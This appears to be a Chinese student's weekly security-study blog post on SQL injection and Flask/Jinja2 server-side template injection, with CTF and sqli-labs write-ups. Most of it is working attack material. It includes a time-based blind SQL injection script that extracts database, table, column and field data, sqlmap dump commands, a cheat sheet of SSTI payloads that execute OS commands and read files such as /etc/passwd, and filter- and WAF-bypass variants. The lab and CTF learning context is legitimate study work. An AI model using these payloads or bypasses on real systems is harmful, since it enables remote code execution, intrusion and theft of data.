SSTI(第六周)

SSTI(第六周)

sql盲注脚本

  • 经过我的不懈努力和对AI的调教也是终于把上一篇的脚本改好了
importrequestsimporttimeimporturllib.parsefrombottleimportresponse#数据库名长度没有判断?这个要手工注入#用的时候记得修改url和payload以及相应的参数名字呀url="http://192.168.90.154/Less-8/"#延时的判断时间delay=0.5# 获取数据库名称length=9''' payload = { "password":f"union select if(length(database())>{length},sleep(3),1),2#", "username":"\\" } '''defstring_to_hex(input_string):return"0x"+"".join(f"{ord(char):02x}"forcharininput_string)defget_db_name(length):db_name=""foriinrange(1,length+1):forascii_codeinrange(32,127):''' payload = { "password": f"union select if(ascii(substr(database(),{i},1))={ascii_code},sleep(2),1),2#", "username": "\\" } '''payload=f"?id=1' and if(ASCII(SUBSTRING(database(),{i},1))={ascii_code},sleep(1),1)--+"start_time=time.time()# response=requests.post(url,data=payload)response=requests.get(url+payload)#print(f"[+]Time:{time.time()-start_time}[+] id: {i} [+]ascii: {ascii_code} [+]char: {chr(ascii_code)}")iftime.time()-start_time>=delay:print(f"[+]Time:{time.time()-start_time}[+]id:{i}[+]ascii:{ascii_code}[+]char:{chr(ascii_code)}")db_name+=chr(ascii_code)#print(chr(ascii_code),end="")breakreturndb_namedefget_db_tables(db_name,limit):tb_names=[]db_name=string_to_hex(db_name)fortable_indexinrange(0,limit):print(f"获取第{table_index+1}个表名中")tb_name=""foriinrange(1,10):forascii_codeinrange(32,127):''' payload = { "password": f"union select if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),{i},1))={ascii_code},sleep(2),1),2#", "username": "\\" } '''payload=f"?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema={db_name}limit{table_index},1),{i},1))={ascii_code},sleep(1),1)--+"start_time=time.time()# response=requests.get(url,data=payload)response=requests.get(url+payload,timeout=5)# print(f"[+]Time: {time.time() - start_time} [+]id: {i} [+]ascii: {ascii_code} [+]char: {chr(ascii_code)}")iftime.time()-start_time>=delay:print(f"[+]Time:{time.time()-start_time}[+]id:{i}[+]ascii:{ascii_code}[+]char:{chr(ascii_code)}")tb_name+=chr(ascii_code)breakelse:continueiftb_name:tb_names.append(tb_name)returntb_namesdefget_tb_columns(tb_name,db_name,limit):col_names=[]#col_name = ""db_name=string_to_hex(db_name)tb_name=string_to_hex(tb_name)forcolumn_indexinrange(0,limit):col_name=""print(f"获取第{column_index+1}个列名中")foriinrange(1,10):forascii_codeinrange(32,127):''' payload = { "password": f"union select if(ascii(substr((select column_name from information_schema.columns where table_name={tb_name} and table_schema=database() limit {limit},1),{i},1))={ascii_code},sleep(2),1),2#", "username": "\\" } '''payload=f"?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_name={tb_name}and table_schema=database() limit{column_index},1),{i},1))={ascii_code},sleep(1),1)--+"start_time=time.time()# response=requests.post(url,data=payload)response=requests.get(url+payload,timeout=5)# print(f"[+]Time: {time.time() - start_time} [+]id: {i} [+]ascii: {ascii_code} [+]char: {chr(ascii_code)}")iftime.time()-start_time>=delay:print(f"[+]Time:{time.time()-start_time}[+]id:{i}[+]ascii:{ascii_code}[+]char:{chr(ascii_code)}")col_name+=chr(ascii_code)breakelse:continueifcol_name:col_names.append(col_name)returncol_namesdefget_columns_fields(col_name,tb_name,db_name,limit):cols_names=[]#cols_name = ""forfield_indexinrange(0,limit):print(f"获取第{field_index+1}个数据中")cols_name=""foriinrange(1,18):forascii_codeinrange(32,127):''' payload = { "password": f"union select if(ascii(substr((select {col_name} from {db_name}.{tb_name} limit {limit},1),{i},1))={ascii_code},sleep(2),1),2#", "username": "\\" } '''payload=f"?id=1' and if(ascii(substr((select{col_name}from{db_name}.{tb_name}limit{field_index},1),{i},1))={ascii_code},sleep(1),1)--+"start_time=time.time()# response = requests.post(url, data=payload)response=requests.get(url+payload,timeout=5)# print(f"[+]Time: {time.time() - start_time} [+]id: {i} [+]ascii: {ascii_code} [+]char: {chr(ascii_code)}")iftime.time()-start_time>=delay:print(f"[+]Time:{time.time()-start_time}[+]id:{i}[+]ascii:{ascii_code}[+]char:{chr(ascii_code)}")cols_name+=chr(ascii_code)breakelse:continueifcols_name:cols_names.append(cols_name)returncols_namesdefmain():#print("Getting database name...")#db_name=get_db_name(length)#print(f"[+]Database name: {db_name}")#print("Getting table name...")#table_names = get_db_tables('security', 10)#print(f"Table names: {table_names}")print("Getting column names...")column_names=get_tb_columns('users','security',5)print(f"Column names:{column_names}")#print("Getting fields...")#data = get_columns_fields("username", "users", "security", 10)#print(f"data: {data}")if__name__=="__main__":main()

SSTI模板注入

Flask漏洞危害和原因

flash环境启动和关闭

  • 开放所有物理接口?启用debug修改参数更方便?port开启监听其他端口

简单来说就是先注入在解析?render_temple_string?就可能存在模板注入

常见ssti模板

继承关系和魔术方法

所有对象的基类都是object

__class__ : 类的一个内置属性?表示实例对象的类。
__base__ : 类型对象的直接基类
__bases__ : 类型对象的全部基类?以元组形式?类型的实例通常没有属性bases
__mro__ : 查看继承关系和调用顺序?返回元组。此属性是由类组成的元组?在方法解析期间会基于它来查找基类。
__subclasses__: 查看父类下的所有子类

__init__ : 初始化类,返回的类型是function
__globals__ :使用方式是 函数名.__globals__获取函数所处空间下可使用的module、方法以及所有变量。
__builtins__ :内建名称空间?内建名称空间有许多名字到对象之间映射?而这些名字其实就是内建函数的名称?对象就是这些内建函数本身.

常用注入模板

#查看模块位置importrequests url=""foriinrange(500):#"name"和对应的payload都需要修改?模板是想要用的可以实现命令执行或者包含命令执行函数的模板data={"name":"{{().__class__.__base__.__subclasses__()["+str(i)+"].__init__.globals__}}"}try:response=requests.post(url,data=data)ifresponse.status_code==200:if'模板'inresponse.text:print(i)except:pass

1. 文件读取_frozen_importlib_external.FileLoader

{{''.__class__.__base__.__subclasses__()[79]["get_data"](0,"路由")}}

“无实例方法调用”,这种可以不利用__init__初始化类直接使用函数方法

2. 内建函数eval 执行命令

{{''.__class__.__bases__[0].__subclasses_()[65].__init__.globals__['__builtins__'][eval]('__import__("os").popen("cat /etc/passwd").read()')}}

3. os 模块执行命令?os.py?

  • 通过config调用os
{{config.__class__.__init__.__globals__['os'].popen('cmd').read()}}
  • 通过usr_for
{{url_for.__globals__.os.popen('cmd').read()}}
  • 通过加载好的子类
{{''.__class__.__bases__[0].__subclasses_()[199].__init__.globals__['os'].popen("cmd").read()}}

4. importlib

{{[].__class__.__base__.__subclasses__()[69]["load_module"]("os")["popen"]("cmd").read()}}

5. linecache

{{[].__class__.__base__.__subclasses__()[191].__init__.__globals__["linecache"]["os"].popen("cmd").read()}}

6. subprocess.Popen

{{[].__class__.__base__.__subclasses__()[200]("cmd",shell=True,stdout=-1).communicate()[0].strip()}}

7. 全局变量lipsum 直接命令执行

?name={{lipsum.__globals__['__builtins__']['eval']("__import__('os').popen('tac /*').read()")}}

绕过方式

过滤魔术方法

可以利用python的拼接字符串原理?如下

?name={{''['__cla'+'ss__']}} {{''[['__cla','ss__']|join]}} {{''['__cla'~'ss__']}}
过滤下划线和引号

可以用[request.args/values.name]或者如果要去引号则可以直接把括号内的内容改为request.args.name

{{ [].__class__.__bases__[0].__subclasses__()[40].__init__.__globals__[request.args.builtins].__import__(request.args.os).popen(request.args.cmd).read() }} # URL: ?builtins=__builtins__&os=os&cmd=whoami
过滤中括号

可以用pop函数或者__getitem__来替代?如果pop拿子类用的是__bases__[0]的话要用|list过滤器

{{().__class__.__bases__|list|pop(0).__subclasses__()pop(139).__init__.__globals__.popen('whoami').read()}} {{().__class__.__bases__.__getitem__(0).__subclasses__()pop(139).__init__.__globals__.__getitem__.('popen')('whoami').read()}}
过滤点

可以用|attr()替代

{{''|attr('__class__')}}
过滤双层大括号

可以用{%%}去完成命令执行?如下

#if判断{%if2>1%}success{%endif%}#print()输出{%print(payload)%}
过滤数字

用{%%}命令执行配合set和|length去完成数字计算

{% set a='aaaaa'|length*'aaaa'|length %}{{a}}{{''.__class__.__base__.__subclasses__()[a]}} #a=20
常用过滤器

Writeup

sqli-labs

3
  • 这题试出来了闭合方式是?id=1’)

  • 后面的步骤我用sqlmap?熟悉一下这个工具
sqlmap -u http://localhost/Less-3/?id=1 --batch --dbs

sqlmap -u http://192.168.90.154/Less-3/?id=1 --batch -D security --table

sqlmap -u http://192.168.90.154/Less-3/?id=1 --batch -D security -T users --dump

  • 不得不说还是工具方便啊
4
  • 这关的闭合方式是双引号加括号?其他就不重复尝试了

8
  • 这关的闭合是单引号?但是无明显回显?用盲注脚本跑一下

  • 这里因为找的脚本是注入POST提交方式的?自己去尝试修改了一下脚本?只跑了一下数据库名?因为其他函数还没修改好?就先这样了

  • 嗨嗨嗨?我又回来了?改良版爆库名脚本终于修改好了?列名脚本修改中

  • 大功告成?列名和数据获取都修好了

10
  • 这关无论输入什么都是一样的情况?页面无变化?可以用sleep试出闭合方式?闭合方式为双引号

  • 后面依旧让脚本跑一遍就行

[第三章 web进阶]SSTI

  • 页面就一个password?试一下是不是get参数?成功

  • 用7*7试一下存不存在ssti的jijia2模板注入

  • 后续先用python脚本找一下想要模板的位置?我这里先用_frozen_importlib_external.FileLoader

  • 套入模板,但是这个模板需要知道flag路径才行
{{''.__class__.__base__.__subclasses__()[79]["get_data"](0,"路由")}}
  • 换一个把?用os
{{url_for.__globals__.os.popen('cmd').read()}}

  • 找一下flag文件,有一个flag.txt但没有flag

  • 找一下环境变量?拿到flag

  • 这是假的???

  • 全局搜索太慢了?去搜了一下writeup发现在/app/server.py中

20 第二十章 幽冥血海·幻语心魔

  • 这题会回显用户名?密码随便输

  • 尝试jijia2模板?成功

  • 用eval模板玩一下?先找到哪里有eval?拿脚本跑一下

  • 然后用模板里面的eval执行相关命令
?username={{().__class__.__base__.__subclasses__()[300].__init__.__globals__["__builtins__"].eval('__import__("os").popen("cat /flag").read()')}}&password=11

21 第二十一章 往生漩涡·言灵死局

  • 题目提示了过滤参数

  • 那就绕过过滤构造payload
url="?class=__class__&base=__base__&subclasses=__subclasses__&username={% if ''[request.args.class][request.args.base][request.args.subclasses]()["+str(i)+"][\"load_module\"](\"os\").popen(\"ls /\").read() %}success{% endif %}&password=1"

  • 找到模板位置把if换位print打印结果
?class=__class__&base=__base__&subclasses=__subclasses__&username={% print (''[request.args.class][request.args.base][request.args.subclasses]()[108]["load_module"]("os").popen("ls /").read()) %}&password=1

  • 读取flag
?class=__class__&base=__base__&subclasses=__subclasses__&username={% print (''[request.args.class][request.args.base][request.args.subclasses]()[108]["load_module"]("os").popen("nl /flag").read()) %}&password=1

[NewStarCTF 公开赛赛道]BabySSTI_One

  • 提示告诉我们这是SSTI注入中的FLASK模板?尝试get传入name参数

  • 得到参数为name

  • 先尝试拿到object类
?name={{''.__class__.__base__}}

  • 存在waf?判断一下过滤了哪些
?name=class ?name=base ?name=init ?name=subclasses
  • 看来只是过滤了魔术方法?可用[‘cla’+'ss’]绕过?用脚本跑一下os.py的位置
'name': "{{''['__cla'+'ss__']['__ba'+'se__']['__subcl'+'asses__']()["+str(i)+"]['__in'+'it__']['__glo'+'bals__']}}"

  • 利用该位置的os去完成命令执行?这个117的os不完整?换成269
?name={{''['__cla'+'ss__']['__ba'+'se__']['__subcl'+'asses__']()[269]['__in'+'it__']['__glo'+'bals__']['os'].popen('ls /').read()}}

  • 根目录下发现flag文件,尝试读取?但是被拦截
?name={{''['__cla'+'ss__']['__ba'+'se__']['__subcl'+'asses__']()[269]['__in'+'it__']['__glo'+'bals__']['os'].popen('cat /flag_in_here').read()}}

  • 判断是拦截了cat还是flag?发现是都被拦截?用引号截断绕过拦截?拿到flag

?name={{''['__cla'+'ss__']['__ba'+'se__']['__subcl'+'asses__']()[269]['__in'+'it__']['__glo'+'bals__']['os'].popen('ca''t /fla''g_in_here').read()}}

[NewStarCTF 公开赛赛道]BabySSTI_Two

  • 这题相较于上一题添加了非常多的过滤?这两题应该是关闭了request.args等另外传参的功能?导致变的有点糟糕?无从下手?现总结一下过滤了哪些把

“空格”
“几乎所有魔术方法”
“命令执行函数”
"+?~"等字符串连接符

  • 因为加号被过滤的缘故?上一题的payload很难被套用?但是通过查找资料发现了|join的过滤器可以实现字符串连接?join没有被过滤?那我们把所有的+换成|join然后用${IFS}就可以成功绕过啦
?name={{''[['__cla','ss__']|join][['__ba','se__']|join][['__subcl','asses__']|join]()[269][['__in','it__']|join][['__glo','bals__']|join]['os'][['po','pen']|join]('ca''t${IFS}/fl''ag*').read()}}